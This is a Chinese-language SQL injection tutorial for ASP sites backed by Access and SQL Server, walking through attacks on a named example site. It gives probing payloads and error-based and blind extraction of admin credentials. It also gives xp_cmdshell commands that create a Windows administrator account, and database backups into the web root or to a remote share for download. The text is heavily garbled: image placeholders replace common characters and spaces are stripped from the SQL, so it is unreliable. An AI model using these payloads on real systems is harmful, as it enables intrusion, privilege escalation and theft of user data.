引言
随着B/S模式应用开发
![](/icons/81306de.gif)
发展
![](/icons/81306dou.gif)
使用这种模式编写应用
![](/icons/81306chengxu.gif)
![](/icons/81306de.gif)
![](/icons/81306chengxu.gif)
员也越来越多
![](/icons/81306dou2.gif)
但是由于这个行业
![](/icons/81306de.gif)
入门门槛不高
![](/icons/81306dou.gif)
![](/icons/81306chengxu.gif)
员
![](/icons/81306de.gif)
水平及经验也参差不齐
![](/icons/81306dou.gif)
相当大
![](/icons/81306yi.gif)
部分
![](/icons/81306chengxu.gif)
员在编写代码
![](/icons/81306de.gif)
时候
![](/icons/81306dou.gif)
没有对用户输入数据
![](/icons/81306de.gif)
合法性进行判断
![](/icons/81306dou.gif)
使应用
![](/icons/81306chengxu.gif)
存在安全隐患
![](/icons/81306dou2.gif)
用户可以提交
![](/icons/81306yi.gif)
段数据库查询代码
![](/icons/81306dou.gif)
根据
![](/icons/81306chengxu.gif)
返回
![](/icons/81306de.gif)
结果
![](/icons/81306dou.gif)
获得某些他想得知
![](/icons/81306de.gif)
数据
![](/icons/81306dou.gif)
这就是所谓
![](/icons/81306de.gif)
SQLInjection
![](/icons/81306dou.gif)
即SQL注入
![](/icons/81306dou2.gif)
SQL注入是从正常
![](/icons/81306de.gif)
WWW端口访问
![](/icons/81306dou.gif)
而且表面看起来跟
![](/icons/81306yi.gif)
般
![](/icons/81306de.gif)
Web页面访问没什么区别
![](/icons/81306dou.gif)
所以目前市面
![](/icons/81306de.gif)
防火墙都不会对SQL注入发出警报
![](/icons/81306dou.gif)
如果管理员没查看IIS日志
![](/icons/81306de.gif)
习惯
![](/icons/81306dou.gif)
可能被入侵很长时间都不会发觉
![](/icons/81306dou2.gif)
但是
![](/icons/81306dou.gif)
SQL注入
![](/icons/81306de.gif)
手法相当灵活
![](/icons/81306dou.gif)
在注入
![](/icons/81306de.gif)
时候会碰到很多意外
![](/icons/81306de.gif)
情况
![](/icons/81306dou2.gif)
能不能根据具体情况进行分析
![](/icons/81306dou.gif)
构造巧妙
![](/icons/81306de.gif)
SQL语句
![](/icons/81306dou.gif)
从而成功获取想要
![](/icons/81306de.gif)
数据
![](/icons/81306dou.gif)
是高手和“菜鸟”
![](/icons/81306de.gif)
根本区别
![](/icons/81306dou2.gif)
根据国情
![](/icons/81306dou.gif)
国内
![](/icons/81306de.gif)
网站WebSite用ASP+Access或SQLServer
![](/icons/81306de.gif)
占70%以上
![](/icons/81306dou.gif)
PHP+MySQ占L20%
![](/icons/81306dou.gif)
其他
![](/icons/81306de.gif)
不足10%
![](/icons/81306dou2.gif)
在本文
![](/icons/81306dou.gif)
我们从分入门、进阶至高级讲解
![](/icons/81306yi.gif)
下ASP注入
![](/icons/81306de.gif)
思路方法及窍门技巧
![](/icons/81306dou.gif)
PHP注入
![](/icons/81306de.gif)
文章由NB联盟
![](/icons/81306de.gif)
另
![](/icons/81306yi.gif)
位朋友zwell撰写
![](/icons/81306dou.gif)
希望对安全工作者和
![](/icons/81306chengxu.gif)
员都有用处
![](/icons/81306dou2.gif)
了解ASP注入
![](/icons/81306de.gif)
朋友也请不要跳过入门篇
![](/icons/81306dou.gif)
![](/icons/81306yinwei.gif)
部分人对注入
![](/icons/81306de.gif)
基本判断思路方法还存在误区
![](/icons/81306dou2.gif)
大家准备好了吗?LetsGo...
入门篇
如果你以前没试过SQL注入
![](/icons/81306de.gif)
话
![](/icons/81306dou.gif)
那么第
![](/icons/81306yi.gif)
步先把IE菜单=>工具=>Internet选项=>高级=>显示友好HTTP
![](/icons/81306cuowu.gif)
信息前面
![](/icons/81306de.gif)
勾去掉
![](/icons/81306dou2.gif)
否则
![](/icons/81306dou.gif)
不论服务器返回什么
![](/icons/81306cuowu.gif)
![](/icons/81306dou.gif)
IE都只显示为HTTP500服务器
![](/icons/81306cuowu.gif)
![](/icons/81306dou.gif)
不能获得更多
![](/icons/81306de.gif)
提示信息
![](/icons/81306dou2.gif)
第
![](/icons/81306yi.gif)
节、SQL注入原理
以下我们从
![](/icons/81306yi.gif)
个网站WebSitewww.mytest.com开始(注:本文发表前已征得该站站长同意
![](/icons/81306dou.gif)
大部分都是真实数据)
![](/icons/81306dou2.gif)
在网站WebSite首页上
![](/icons/81306dou.gif)
有名为“IE不能打开新窗口
![](/icons/81306de.gif)
多种解决思路方法”
![](/icons/81306de.gif)
链接
![](/icons/81306dou.gif)
地址为:http://www.mytest.com/showdetail.asp?id=49
![](/icons/81306dou.gif)
我们在这个地址后面加上单引号’
![](/icons/81306dou.gif)
服务器会返回下面
![](/icons/81306de.gif)
![](/icons/81306cuowu.gif)
提示:
MicrosoftJETDatabaseEngine
![](/icons/81306cuowu.gif)
80040e14
![](/icons/81306zifu.gif)
串
![](/icons/81306de.gif)
语法
![](/icons/81306cuowu.gif)
在查询表达式ID=49中
![](/icons/81306dou2.gif)
/showdetail.asp
![](/icons/81306dou.gif)
行8
从这个
![](/icons/81306cuowu.gif)
提示我们能看出下面几点:
1.网站WebSite使用
![](/icons/81306de.gif)
是Access数据库
![](/icons/81306dou.gif)
通过JET引擎连接数据库
![](/icons/81306dou.gif)
而不是通过ODBC
![](/icons/81306dou2.gif)
2.
![](/icons/81306chengxu.gif)
没有判断客户端提交
![](/icons/81306de.gif)
数据是否符合
![](/icons/81306chengxu.gif)
要求
![](/icons/81306dou2.gif)
3.该SQL语句所查询
![](/icons/81306de.gif)
表中有
![](/icons/81306yi.gif)
名为ID
![](/icons/81306de.gif)
字段
![](/icons/81306dou2.gif)
从上面
![](/icons/81306de.gif)
例子我们可以知道
![](/icons/81306dou.gif)
SQL注入
![](/icons/81306de.gif)
原理
![](/icons/81306dou.gif)
就是从客户端提交特殊
![](/icons/81306de.gif)
代码
![](/icons/81306dou.gif)
从而收集
![](/icons/81306chengxu.gif)
及服务器
![](/icons/81306de.gif)
信息
![](/icons/81306dou.gif)
从而获取你想到得到
![](/icons/81306de.gif)
资料
![](/icons/81306dou2.gif)
第 2节、判断能否进行SQL注入
看完第
![](/icons/81306yi.gif)
节
![](/icons/81306dou.gif)
有
![](/icons/81306yi.gif)
些人会觉得:我也是经常这样测试能否注入
![](/icons/81306de.gif)
![](/icons/81306dou.gif)
这不是很简单吗?
其实
![](/icons/81306dou.gif)
这并不是最好
![](/icons/81306de.gif)
思路方法
![](/icons/81306dou.gif)
为什么呢?
首先
![](/icons/81306dou.gif)
不
![](/icons/81306yi.gif)
定每台服务器
![](/icons/81306de.gif)
IIS都返回具体
![](/icons/81306cuowu.gif)
提示给客户端
![](/icons/81306dou.gif)
如果
![](/icons/81306chengxu.gif)
中加了c
![](/icons/81306int.gif)
(参数)的类语句
![](/icons/81306de.gif)
话
![](/icons/81306dou.gif)
SQL注入是不会成功
![](/icons/81306de.gif)
![](/icons/81306dou.gif)
但服务器同样会报错
![](/icons/81306dou.gif)
具体提示信息为处理URL时服务器上出错
![](/icons/81306dou2.gif)
请和系统管理员联络
![](/icons/81306dou2.gif)
其次
![](/icons/81306dou.gif)
部分对SQL注入有
![](/icons/81306yi.gif)
点了解
![](/icons/81306de.gif)
![](/icons/81306chengxu.gif)
员
![](/icons/81306dou.gif)
认为只要把单引号过滤掉就安全了
![](/icons/81306dou.gif)
这种情况不为少数
![](/icons/81306dou.gif)
如果你用单引号测试
![](/icons/81306dou.gif)
是测不到注入点
![](/icons/81306de.gif)
那么
![](/icons/81306dou.gif)
什么样
![](/icons/81306de.gif)
测试思路方法才是比较准确呢?答案如下:
①http://www.mytest.com/showdetail.asp?id=49
②http://www.mytest.com/showdetail.asp?id=49;and1=1
③http://www.mytest.com/showdetail.asp?id=49;and1=2
这就是经典
![](/icons/81306de.gif)
1=1、1=2测试法了
![](/icons/81306dou.gif)
如何判断呢?看看上面 3个网址返回
![](/icons/81306de.gif)
结果就知道了:
可以注入
![](/icons/81306de.gif)
表现:
①正常显示(这是必然
![](/icons/81306de.gif)
![](/icons/81306dou.gif)
不然就是
![](/icons/81306chengxu.gif)
有
![](/icons/81306cuowu.gif)
了)
②正常显示
![](/icons/81306dou.gif)
内容基本和①相同
③提示BOF或EOF(
![](/icons/81306chengxu.gif)
没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(
![](/icons/81306chengxu.gif)
加了onerrorresumenext)
不可以注入就比较容易判断了
![](/icons/81306dou.gif)
①同样正常显示
![](/icons/81306dou.gif)
②和③
![](/icons/81306yi.gif)
般都会有
![](/icons/81306chengxu.gif)
定义
![](/icons/81306de.gif)
![](/icons/81306cuowu.gif)
提示
![](/icons/81306dou.gif)
或提示类型转换时出错
![](/icons/81306dou2.gif)
当然
![](/icons/81306dou.gif)
这只是传入参数是数字型
![](/icons/81306de.gif)
时候用
![](/icons/81306de.gif)
判断思路方法
![](/icons/81306dou.gif)
实际应用
![](/icons/81306de.gif)
时候会有
![](/icons/81306zifu.gif)
型和搜索型参数
![](/icons/81306dou.gif)
我将在中级篇
![](/icons/81306de.gif)
“SQL注入
![](/icons/81306yi.gif)
般步骤”再做分析
![](/icons/81306dou2.gif)
第 3节、判断数据库类型及注入思路方法
区别
![](/icons/81306de.gif)
数据库
![](/icons/81306de.gif)
![](/icons/81306hanshu.gif)
、注入思路方法都是有差异
![](/icons/81306de.gif)
![](/icons/81306dou.gif)
所以在注入的前
![](/icons/81306dou.gif)
我们还要判断
![](/icons/81306yi.gif)
下数据库
![](/icons/81306de.gif)
类型
![](/icons/81306dou2.gif)
![](/icons/81306yi.gif)
般ASP最常搭配
![](/icons/81306de.gif)
数据库是Access和SQLServer
![](/icons/81306dou.gif)
网上超过99%
![](/icons/81306de.gif)
网站WebSite都是其中的
![](/icons/81306yi.gif)
![](/icons/81306dou2.gif)
如何让
![](/icons/81306chengxu.gif)
告诉你它使用
![](/icons/81306de.gif)
什么数据库呢?来看看:
SQLServer有
![](/icons/81306yi.gif)
些系统变量
![](/icons/81306dou.gif)
如果服务器IIS提示没关闭
![](/icons/81306dou.gif)
并且SQLServer返回
![](/icons/81306cuowu.gif)
提示
![](/icons/81306de.gif)
话
![](/icons/81306dou.gif)
那可以直接从出错信息获取
![](/icons/81306dou.gif)
思路方法如下:
http://www.mytest.com/showdetail.asp?id=49;anduser>0
这句语句很简单
![](/icons/81306dou.gif)
但却包含了SQLServer特有注入思路方法
![](/icons/81306de.gif)
精髓
![](/icons/81306dou.gif)
我自己也是在
![](/icons/81306yi.gif)
次无意
![](/icons/81306de.gif)
测试中发现这种效率极高
![](/icons/81306de.gif)
猜解思路方法
![](/icons/81306dou2.gif)
让我看来看看它
![](/icons/81306de.gif)
含义:首先
![](/icons/81306dou.gif)
前面
![](/icons/81306de.gif)
语句是正常
![](/icons/81306de.gif)
![](/icons/81306dou.gif)
重点在anduser>0
![](/icons/81306dou.gif)
我们知道
![](/icons/81306dou.gif)
user是SQLServer
![](/icons/81306de.gif)
![](/icons/81306yi.gif)
个内置变量
![](/icons/81306dou.gif)
它
![](/icons/81306de.gif)
值是当前连接
![](/icons/81306de.gif)
用户名
![](/icons/81306dou.gif)
类型为nvarchar
![](/icons/81306dou2.gif)
拿
![](/icons/81306yi.gif)
个nvarchar
![](/icons/81306de.gif)
值跟
![](/icons/81306int.gif)
![](/icons/81306de.gif)
数0比较
![](/icons/81306dou.gif)
系统会先试图将nvarchar
![](/icons/81306de.gif)
值转成
![](/icons/81306int.gif)
型
![](/icons/81306dou.gif)
当然
![](/icons/81306dou.gif)
转
![](/icons/81306de.gif)
过程中肯定会出错
![](/icons/81306dou.gif)
SQLServer
![](/icons/81306de.gif)
出错提示是:将nvarchar值”abc”转换数据类型为
![](/icons/81306int.gif)
![](/icons/81306de.gif)
列时发生语法
![](/icons/81306cuowu.gif)
![](/icons/81306dou.gif)
呵呵
![](/icons/81306dou.gif)
abc正是变量user
![](/icons/81306de.gif)
值
![](/icons/81306dou.gif)
这样
![](/icons/81306dou.gif)
不废吹灰的力就拿到了数据库
![](/icons/81306de.gif)
用户名
![](/icons/81306dou2.gif)
在以后
![](/icons/81306de.gif)
篇幅里
![](/icons/81306dou.gif)
大家会看到很多用这种思路方法
![](/icons/81306de.gif)
语句
![](/icons/81306dou2.gif)
顺便说几句
![](/icons/81306dou.gif)
众所周知
![](/icons/81306dou.gif)
SQLServer
![](/icons/81306de.gif)
用户sa是个等同Adminstrators权限
![](/icons/81306de.gif)
角色
![](/icons/81306dou.gif)
拿到了sa权限
![](/icons/81306dou.gif)
几乎肯定可以拿到主机
![](/icons/81306de.gif)
Administrator了
![](/icons/81306dou2.gif)
上面
![](/icons/81306de.gif)
思路方法可以很方便
![](/icons/81306de.gif)
测试出是否是用sa登录
![](/icons/81306dou.gif)
要注意
![](/icons/81306de.gif)
是:如果是sa登录
![](/icons/81306dou.gif)
提示是将”dbo”转换成
![](/icons/81306int.gif)
![](/icons/81306de.gif)
列发生
![](/icons/81306cuowu.gif)
![](/icons/81306dou.gif)
而不是”sa”
如果服务器IIS不允许返回
![](/icons/81306cuowu.gif)
提示
![](/icons/81306dou.gif)
那如何判断数据库类型呢?我们可以从Access和SQLServer和区别入手
![](/icons/81306dou.gif)
Access和SQLServer都有自己
![](/icons/81306de.gif)
系统表
![](/icons/81306dou.gif)
比如存放数据库中所有对象
![](/icons/81306de.gif)
表
![](/icons/81306dou.gif)
Access是在系统表[msysobjects]中
![](/icons/81306dou.gif)
但在Web环境下读该表会提示“没有权限”
![](/icons/81306dou.gif)
SQLServer是在表[sysobjects]中
![](/icons/81306dou.gif)
在Web环境下可正常读取
![](/icons/81306dou2.gif)
在确认可以注入
![](/icons/81306de.gif)
情况下
![](/icons/81306dou.gif)
使用下面
![](/icons/81306de.gif)
语句:
http://www.mytest.com/showdetail.asp?id=49;and(selectcount(*)fromsysobjects)>0
http://www.mytest.com/showdetail.asp?id=49;and(selectcount(*)frommsysobjects)>0
如果数据库是SQLServer
![](/icons/81306dou.gif)
那么第
![](/icons/81306yi.gif)
个网址
![](/icons/81306de.gif)
页面和原页面http://www.mytest.com/showdetail.asp?id=49是大致相同
![](/icons/81306de.gif)
;而第 2个网址
![](/icons/81306dou.gif)
由于找不到表msysobjects
![](/icons/81306dou.gif)
会提示出错
![](/icons/81306dou.gif)
就算
![](/icons/81306chengxu.gif)
有容错处理
![](/icons/81306dou.gif)
页面也和原页面完全区别
![](/icons/81306dou2.gif)
如果数据库用
![](/icons/81306de.gif)
是Access
![](/icons/81306dou.gif)
那么情况就有所区别
![](/icons/81306dou.gif)
第
![](/icons/81306yi.gif)
个网址
![](/icons/81306de.gif)
页面和原页面完全区别;第 2个网址
![](/icons/81306dou.gif)
则视乎数据库设置是否允许读该系统表
![](/icons/81306dou.gif)
![](/icons/81306yi.gif)
般来说是不允许
![](/icons/81306de.gif)
![](/icons/81306dou.gif)
所以和原网址也是完全区别
![](/icons/81306dou2.gif)
大多数情况下
![](/icons/81306dou.gif)
用第
![](/icons/81306yi.gif)
个网址就可以得知系统所用
![](/icons/81306de.gif)
数据库类型
![](/icons/81306dou.gif)
第 2个网址只作为开启IIS
![](/icons/81306cuowu.gif)
提示时
![](/icons/81306de.gif)
验证
![](/icons/81306dou2.gif)
进阶篇
在入门篇
![](/icons/81306dou.gif)
我们学会了SQL注入
![](/icons/81306de.gif)
判断思路方法
![](/icons/81306dou.gif)
但真正要拿到网站WebSite
![](/icons/81306de.gif)
保密内容
![](/icons/81306dou.gif)
是远远不够
![](/icons/81306de.gif)
![](/icons/81306dou2.gif)
接下来
![](/icons/81306dou.gif)
我们就继续学习如何从数据库中获取想要获得
![](/icons/81306de.gif)
内容
![](/icons/81306dou.gif)
首先
![](/icons/81306dou.gif)
我们先看看SQL注入
![](/icons/81306de.gif)
![](/icons/81306yi.gif)
般步骤:
第
![](/icons/81306yi.gif)
节、SQL注入
![](/icons/81306de.gif)
![](/icons/81306yi.gif)
般步骤
首先
![](/icons/81306dou.gif)
判断环境
![](/icons/81306dou.gif)
寻找注入点
![](/icons/81306dou.gif)
判断数据库类型
![](/icons/81306dou.gif)
这在入门篇已经讲过了
![](/icons/81306dou2.gif)
其次
![](/icons/81306dou.gif)
根据注入参数类型
![](/icons/81306dou.gif)
在脑海中重构SQL语句
![](/icons/81306de.gif)
原貌
![](/icons/81306dou.gif)
按参数类型主要分为下面 3种:
(A)ID=49这类注入
![](/icons/81306de.gif)
参数是数字型
![](/icons/81306dou.gif)
SQL语句原貌大致如下:
Select*from表名where字段=49
注入
![](/icons/81306de.gif)
参数为ID=49And[查询条件]
![](/icons/81306dou.gif)
即是生成语句:
Select*from表名where字段=49And[查询条件]
(B)Class=连续剧这类注入
![](/icons/81306de.gif)
参数是
![](/icons/81306zifu.gif)
型
![](/icons/81306dou.gif)
SQL语句原貌大致概如下:
Select*from表名where字段=’连续剧’
注入
![](/icons/81306de.gif)
参数为Class=连续剧’and[查询条件]and‘’=’
![](/icons/81306dou.gif)
即是生成语句:
Select*from表名where字段=’连续剧’and[查询条件]and‘’=’’
©搜索时没过滤参数
![](/icons/81306de.gif)
![](/icons/81306dou.gif)
如keyword=关键字
![](/icons/81306dou.gif)
SQL语句原貌大致如下:
Select*from表名where字段like’%关键字%’
注入
![](/icons/81306de.gif)
参数为keyword=’and[查询条件]and‘%25’=’
![](/icons/81306dou.gif)
即是生成语句:
Select*from表名where字段like’%’and[查询条件]and‘%’=’%’
接着
![](/icons/81306dou.gif)
将查询条件替换成SQL语句
![](/icons/81306dou.gif)
猜解表名
![](/icons/81306dou.gif)
例如:
ID=49And(SelectCount(*)fromAdmin)>=0
如果页面就和ID=49
![](/icons/81306de.gif)
相同
![](/icons/81306dou.gif)
介绍说明附加条件成立
![](/icons/81306dou.gif)
即表Admin存在
![](/icons/81306dou.gif)
反的
![](/icons/81306dou.gif)
即不存在(请牢记这种思路方法)
![](/icons/81306dou2.gif)
如此循环
![](/icons/81306dou.gif)
直至猜到表名为止
![](/icons/81306dou2.gif)
表名猜出来后
![](/icons/81306dou.gif)
将Count(*)替换成Count(字段名)
![](/icons/81306dou.gif)
用同样
![](/icons/81306de.gif)
原理猜解字段名
![](/icons/81306dou2.gif)
有人会说:这里有
![](/icons/81306yi.gif)
些偶然
![](/icons/81306de.gif)
成分
![](/icons/81306dou.gif)
如果表名起得很复杂没规律
![](/icons/81306de.gif)
![](/icons/81306dou.gif)
那根本就没得玩下去了
![](/icons/81306dou2.gif)
说得很对
![](/icons/81306dou.gif)
这世界根本就不存在100%成功
![](/icons/81306de.gif)
黑客技术
![](/icons/81306dou.gif)
苍蝇不叮无缝
![](/icons/81306de.gif)
蛋
![](/icons/81306dou.gif)
无论多技术多高深
![](/icons/81306de.gif)
黑客
![](/icons/81306dou.gif)
都是
![](/icons/81306yinwei.gif)
别人
![](/icons/81306de.gif)
![](/icons/81306chengxu.gif)
写得不严密或使用者保密意识不够
![](/icons/81306dou.gif)
才有得下手
![](/icons/81306dou2.gif)
有点跑题了
![](/icons/81306dou.gif)
话说回来
![](/icons/81306dou.gif)
对于SQLServer
![](/icons/81306de.gif)
库
![](/icons/81306dou.gif)
还是有办法让
![](/icons/81306chengxu.gif)
告诉我们表名及字段名
![](/icons/81306de.gif)
![](/icons/81306dou.gif)
我们在高级篇中会做介绍
![](/icons/81306dou2.gif)
最后
![](/icons/81306dou.gif)
在表名和列名猜解成功后
![](/icons/81306dou.gif)
再使用SQL语句
![](/icons/81306dou.gif)
得出字段
![](/icons/81306de.gif)
值
![](/icons/81306dou.gif)
下面介绍
![](/icons/81306yi.gif)
种最常用
![](/icons/81306de.gif)
思路方法-Ascii逐字解码法
![](/icons/81306dou.gif)
虽然这种思路方法速度很慢
![](/icons/81306dou.gif)
但肯定是可行
![](/icons/81306de.gif)
思路方法
![](/icons/81306dou2.gif)
我们举个例子
![](/icons/81306dou.gif)
已知表Admin中存在username字段
![](/icons/81306dou.gif)
首先
![](/icons/81306dou.gif)
我们取第
![](/icons/81306yi.gif)
条记录
![](/icons/81306dou.gif)
测试长度:
http://www.mytest.com/showdetail.asp?id=49;and(selecttop1len(username)fromAdmin)>0
先介绍说明原理:如果top1
![](/icons/81306de.gif)
username长度大于0
![](/icons/81306dou.gif)
则条件成立;接着就是>1、>2、>3这样测试下去
![](/icons/81306dou.gif)
![](/icons/81306yi.gif)
直到条件不成立为止
![](/icons/81306dou.gif)
比如>7成立
![](/icons/81306dou.gif)
>8不成立
![](/icons/81306dou.gif)
就是len(username)=8
当然没人会笨得从0,1,2,3
![](/icons/81306yi.gif)
个个测试
![](/icons/81306dou.gif)
如何样才比较快就看各自发挥了
![](/icons/81306dou2.gif)
在得到username
![](/icons/81306de.gif)
长度后
![](/icons/81306dou.gif)
用mid(username,N,1)截取第N位
![](/icons/81306zifu.gif)
![](/icons/81306dou.gif)
再asc(mid(username,N,1))得到ASCII码
![](/icons/81306dou.gif)
比如:
id=49and(selecttop1asc(mid(username,1,1))fromAdmin)>0
同样也是用逐步缩小范围
![](/icons/81306de.gif)
思路方法得到第1位
![](/icons/81306zifu.gif)
![](/icons/81306de.gif)
ASCII码
![](/icons/81306dou.gif)
注意
![](/icons/81306de.gif)
是英文和数字
![](/icons/81306de.gif)
ASCII码在1-128的间
![](/icons/81306dou.gif)
可以用折半法加速猜解
![](/icons/81306dou.gif)
如果写成
![](/icons/81306chengxu.gif)
测试
![](/icons/81306dou.gif)
效率会有极大
![](/icons/81306de.gif)
提高
![](/icons/81306dou2.gif)
第 2节、SQL注入常用
![](/icons/81306hanshu.gif)
有SQL语言基础
![](/icons/81306de.gif)
人
![](/icons/81306dou.gif)
在SQL注入
![](/icons/81306de.gif)
时候成功率比不熟悉
![](/icons/81306de.gif)
人高很多
![](/icons/81306dou2.gif)
我们有必要提高
![](/icons/81306yi.gif)
下自己
![](/icons/81306de.gif)
SQL水平
![](/icons/81306dou.gif)
特别是
![](/icons/81306yi.gif)
些常用
![](/icons/81306de.gif)
![](/icons/81306hanshu.gif)
及命令
![](/icons/81306dou2.gif)
Access:asc(
![](/icons/81306zifu.gif)
)SQLServer:unicode(
![](/icons/81306zifu.gif)
)
作用:返回某
![](/icons/81306zifu.gif)
![](/icons/81306de.gif)
ASCII码
Access:chr(数字)SQLServer:nchar(数字)
作用:和asc相反
![](/icons/81306dou.gif)
根据ASCII码返回
![](/icons/81306zifu.gif)
Access:mid(
![](/icons/81306zifu.gif)
串,N,L)SQLServer:sub
![](/icons/81306string.gif)
(
![](/icons/81306zifu.gif)
串,N,L)
作用:返回
![](/icons/81306zifu.gif)
串从N个
![](/icons/81306zifu.gif)
起长度为L
![](/icons/81306de.gif)
子
![](/icons/81306zifu.gif)
串
![](/icons/81306dou.gif)
即N到N+L的间
![](/icons/81306de.gif)
![](/icons/81306zifu.gif)
串
Access:abc(数字)SQLServer:abc(数字)
作用:返回数字
![](/icons/81306de.gif)
绝对值(在猜解汉字
![](/icons/81306de.gif)
时候会用到)
Access:AbetweenBAndCSQLServer:AbetweenBAndC
作用:判断A是否界于B和C的间
第 3节、中文处理思路方法
在注入中碰到中文
![](/icons/81306zifu.gif)
是常有
![](/icons/81306de.gif)
事
![](/icons/81306dou.gif)
有些人
![](/icons/81306yi.gif)
碰到中文
![](/icons/81306zifu.gif)
就想打退堂鼓了
![](/icons/81306dou2.gif)
其实只要对中文
![](/icons/81306de.gif)
编码有所了解
![](/icons/81306dou.gif)
“中文恐惧症”很快可以克服
![](/icons/81306dou2.gif)
先说
![](/icons/81306yi.gif)
点常识:
Access中
![](/icons/81306dou.gif)
中文
![](/icons/81306de.gif)
ASCII码可能会出现负数
![](/icons/81306dou.gif)
取出该负数后用abs
![](/icons/81306kh.gif)
取绝对值
![](/icons/81306dou.gif)
汉字
![](/icons/81306zifu.gif)
不变
![](/icons/81306dou2.gif)
SQLServer中
![](/icons/81306dou.gif)
中文
![](/icons/81306de.gif)
ASCII为正数
![](/icons/81306dou.gif)
但由于是UNICODE
![](/icons/81306de.gif)
双位编码
![](/icons/81306dou.gif)
不能用
![](/icons/81306hanshu.gif)
ascii
![](/icons/81306kh.gif)
取得ASCII码
![](/icons/81306dou.gif)
必须用
![](/icons/81306hanshu.gif)
unicode
![](/icons/81306kh.gif)
返回unicode值
![](/icons/81306dou.gif)
再用nchar
![](/icons/81306hanshu.gif)
取得对应
![](/icons/81306de.gif)
中文
![](/icons/81306zifu.gif)
![](/icons/81306dou2.gif)
了解了上面
![](/icons/81306de.gif)
两点后
![](/icons/81306dou.gif)
是不是觉得中文猜解其实也跟英文差不多呢?除了使用
![](/icons/81306de.gif)
![](/icons/81306hanshu.gif)
要注意、猜解范围大
![](/icons/81306yi.gif)
点外
![](/icons/81306dou.gif)
思路方法是没什么两样
![](/icons/81306de.gif)
![](/icons/81306dou2.gif)
高级篇
看完入门篇和进阶篇后
![](/icons/81306dou.gif)
稍加练习
![](/icons/81306dou.gif)
破解
![](/icons/81306yi.gif)
般
![](/icons/81306de.gif)
网站WebSite是没问题了
![](/icons/81306dou2.gif)
但如果碰到表名列名猜不到
![](/icons/81306dou.gif)
或
![](/icons/81306chengxu.gif)
作者过滤了
![](/icons/81306yi.gif)
些特殊
![](/icons/81306zifu.gif)
![](/icons/81306dou.gif)
如何提高注入
![](/icons/81306de.gif)
成功率?如何样提高猜解效率?请大家接着往下看高级篇
![](/icons/81306dou2.gif)
第
![](/icons/81306yi.gif)
节、利用系统表注入SQLServer数据库
SQLServer是
![](/icons/81306yi.gif)
个功能强大
![](/icons/81306de.gif)
数据库系统
![](/icons/81306dou.gif)
和操作系统也有紧密
![](/icons/81306de.gif)
联系
![](/icons/81306dou.gif)
这给开发者带来了很大
![](/icons/81306de.gif)
方便
![](/icons/81306dou.gif)
但另
![](/icons/81306yi.gif)
方面
![](/icons/81306dou.gif)
也为注入者提供了
![](/icons/81306yi.gif)
个跳板
![](/icons/81306dou.gif)
我们先来看看几个具体
![](/icons/81306de.gif)
例子:
①http://Site/url.asp?id=1;execmaster..xp_cmdshell“netusernamepassword/add”--
分号;在SQLServer中表示隔开前后两句语句
![](/icons/81306dou.gif)
--表示后面
![](/icons/81306de.gif)
语句为注释
![](/icons/81306dou.gif)
所以
![](/icons/81306dou.gif)
这句语句在SQLServer中将被分成两句执行
![](/icons/81306dou.gif)
先是Select出ID=1
![](/icons/81306de.gif)
记录
![](/icons/81306dou.gif)
然后执行存储过程xp_cmdshell
![](/icons/81306dou.gif)
这个存储过程用于
![](/icons/81306diaoyong.gif)
系统命令
![](/icons/81306dou.gif)
于是
![](/icons/81306dou.gif)
用net命令新建了用户名为name、密码为password
![](/icons/81306de.gif)
windows
![](/icons/81306de.gif)
帐号
![](/icons/81306dou.gif)
接着:
②http://Site/url.asp?id=1;execmaster..xp_cmdshell“netlocalgroupnameadministrators/add”--
将新建
![](/icons/81306de.gif)
帐号name加入管理员组
![](/icons/81306dou.gif)
不用两分钟
![](/icons/81306dou.gif)
你已经拿到了系统最高权限!当然
![](/icons/81306dou.gif)
这种思路方法只适用于用sa连接数据库
![](/icons/81306de.gif)
情况
![](/icons/81306dou.gif)
否则
![](/icons/81306dou.gif)
是没有权限
![](/icons/81306diaoyong.gif)
xp_cmdshell
![](/icons/81306de.gif)
![](/icons/81306dou2.gif)
③http://Site/url.asp?id=1;anddb_name
![](/icons/81306kh.gif)
>0
前面有个类似
![](/icons/81306de.gif)
例子anduser>0
![](/icons/81306dou.gif)
作用是获取连接用户名
![](/icons/81306dou.gif)
db_name
![](/icons/81306kh.gif)
是另
![](/icons/81306yi.gif)
个系统变量
![](/icons/81306dou.gif)
返回
![](/icons/81306de.gif)
是连接
![](/icons/81306de.gif)
数据库名
![](/icons/81306dou2.gif)
④http://Site/url.asp?id=1;backupdatabase数据库名todisk=’c:\\inetpub\\wwwroot\\1.db’;--
这是相当狠
![](/icons/81306de.gif)
![](/icons/81306yi.gif)
招
![](/icons/81306dou.gif)
从③拿到
![](/icons/81306de.gif)
数据库名
![](/icons/81306dou.gif)
加上某些IIS出错暴露出
![](/icons/81306de.gif)
绝对路径
![](/icons/81306dou.gif)
将数据库备份到Web目录下面
![](/icons/81306dou.gif)
再用HTTP把整个数据库就完完整整
![](/icons/81306de.gif)
下载回来
![](/icons/81306dou.gif)
所有
![](/icons/81306de.gif)
管理员及用户密码都
![](/icons/81306yi.gif)
览无遗!在不知道绝对路径
![](/icons/81306de.gif)
时候
![](/icons/81306dou.gif)
还可以备份到网络地址
![](/icons/81306de.gif)
思路方法(如\\\\202.96.xx.xx\\Share\\1.db)
![](/icons/81306dou.gif)
但成功率不高
![](/icons/81306dou2.gif)
⑤http://Site/url.asp?id=1;and(SelectTop1namefromsysobjectswherextype=’U’andstatus>0)>0
前面说过
![](/icons/81306dou.gif)
sysobjects是SQLServer
![](/icons/81306de.gif)
系统表
![](/icons/81306dou.gif)
存储着所有
![](/icons/81306de.gif)
表名、视图、约束及其它对象
![](/icons/81306dou.gif)
xtype=’U’andstatus>0
![](/icons/81306dou.gif)
表示用户建立
![](/icons/81306de.gif)
表名
![](/icons/81306dou.gif)
上面
![](/icons/81306de.gif)
语句将第
![](/icons/81306yi.gif)
个表名取出
![](/icons/81306dou.gif)
和0比较大小
![](/icons/81306dou.gif)
让报错信息把表名暴露出来
![](/icons/81306dou2.gif)
第 2、第 3个表名如何获取?还是留给我们聪明
![](/icons/81306de.gif)
读者研究吧
![](/icons/81306dou2.gif)
⑥http://Site/url.asp?id=1;and(SelectTop1col_name(object_id(‘表名’),1)fromsysobjects)>0
从⑤拿到表名后
![](/icons/81306dou.gif)
用object_id(‘表名’)获取表名对应
![](/icons/81306de.gif)
内部ID
![](/icons/81306dou.gif)
col_name(表名ID,1)代表该表
![](/icons/81306de.gif)
第1个字段名
![](/icons/81306dou.gif)
将1换成2,3,4...就可以逐个获取所猜解表里面
![](/icons/81306de.gif)
字段名
![](/icons/81306dou2.gif)
